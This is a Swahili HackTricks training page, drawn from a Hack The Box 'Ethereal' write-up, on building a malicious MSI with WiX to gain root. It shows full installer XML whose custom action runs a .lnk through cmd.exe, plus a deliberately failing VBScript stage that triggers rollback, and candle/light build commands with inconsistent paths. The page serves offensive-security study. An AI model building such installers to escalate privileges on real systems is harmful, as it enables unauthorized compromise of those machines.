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64 lines
3.4 KiB
Markdown
64 lines
3.4 KiB
Markdown
{{#include ../../banners/hacktricks-training.md}}
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# Kuunda MSI Mbaya na Kupata Root
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Uundaji wa msanidi wa MSI utafanywa kwa kutumia wixtools, haswa [wixtools](http://wixtoolset.org) itatumika. Inafaa kutajwa kwamba wajenzi wengine wa MSI walijaribiwa, lakini hawakuwa na mafanikio katika kesi hii maalum.
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Kwa ufahamu wa kina wa mifano ya matumizi ya wix MSI, ni vyema kushauriana na [ukurasa huu](https://www.codeproject.com/Tips/105638/A-quick-introduction-Create-an-MSI-installer-with). Hapa, unaweza kupata mifano mbalimbali inayoonyesha matumizi ya wix MSI.
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Lengo ni kuzalisha MSI ambayo itatekeleza faili ya lnk. Ili kufanikisha hili, msimbo wa XML ufuatao unaweza kutumika ([xml kutoka hapa](https://0xrick.github.io/hack-the-box/ethereal/index.html#Creating-Malicious-msi-and-getting-root)):
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```html
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<?xml version="1.0"?>
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<Wix xmlns="http://schemas.microsoft.com/wix/2006/wi">
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<Product Id="*" UpgradeCode="12345678-1234-1234-1234-111111111111" Name="Example Product Name"
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Version="0.0.1" Manufacturer="@_xpn_" Language="1033">
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<Package InstallerVersion="200" Compressed="yes" Comments="Windows Installer Package"/>
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<Media Id="1" Cabinet="product.cab" EmbedCab="yes"/>
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<Directory Id="TARGETDIR" Name="SourceDir">
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<Directory Id="ProgramFilesFolder">
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<Directory Id="INSTALLLOCATION" Name="Example">
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<Component Id="ApplicationFiles" Guid="12345678-1234-1234-1234-222222222222">
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</Component>
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</Directory>
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</Directory>
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</Directory>
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<Feature Id="DefaultFeature" Level="1">
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<ComponentRef Id="ApplicationFiles"/>
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</Feature>
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<Property Id="cmdline">cmd.exe /C "c:\users\public\desktop\shortcuts\rick.lnk"</Property>
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<CustomAction Id="Stage1" Execute="deferred" Directory="TARGETDIR" ExeCommand='[cmdline]' Return="ignore"
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Impersonate="yes"/>
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<CustomAction Id="Stage2" Execute="deferred" Script="vbscript" Return="check">
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fail_here
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</CustomAction>
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<InstallExecuteSequence>
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<Custom Action="Stage1" After="InstallInitialize"></Custom>
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<Custom Action="Stage2" Before="InstallFiles"></Custom>
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</InstallExecuteSequence>
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</Product>
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</Wix>
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```
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Ni muhimu kutambua kwamba kipengele cha Package kina sifa kama InstallerVersion na Compressed, zinazoelezea toleo la installer na kuashiria ikiwa kifurushi kimepandwa au la, mtawalia.
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Mchakato wa uundaji unahusisha kutumia candle.exe, chombo kutoka wixtools, kutengeneza wixobject kutoka msi.xml. Amri ifuatayo inapaswa kutekelezwa:
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```
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candle.exe -out C:\tem\wix C:\tmp\Ethereal\msi.xml
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```
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Zaidi ya hayo, inafaa kutaja kwamba picha imetolewa katika chapisho, ambayo inaonyesha amri na matokeo yake. Unaweza kuirejelea kwa mwongozo wa kuona.
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Zaidi ya hayo, light.exe, chombo kingine kutoka wixtools, kitatumika kuunda faili ya MSI kutoka wixobject. Amri itakayotekelezwa ni kama ifuatavyo:
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```
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light.exe -out C:\tm\Ethereal\rick.msi C:\tmp\wix
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```
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Kama ilivyo kwa amri ya awali, picha imejumuishwa katika chapisho ikionyesha amri na matokeo yake.
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Tafadhali kumbuka kwamba ingawa muhtasari huu unalenga kutoa taarifa muhimu, inapendekezwa kurejelea chapisho la asili kwa maelezo zaidi na maagizo sahihi.
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## Marejeleo
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- [https://0xrick.github.io/hack-the-box/ethereal/#Creating-Malicious-msi-and-getting-root](https://0xrick.github.io/hack-the-box/ethereal/#Creating-Malicious-msi-and-getting-root)
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- [https://www.codeproject.com/Tips/105638/A-quick-introduction-Create-an-MSI-installer-with](https://www.codeproject.com/Tips/105638/A-quick-introduction-Create-an-MSI-installer-with)
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[wixtools](http://wixtoolset.org)
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{{#include ../../banners/hacktricks-training.md}}
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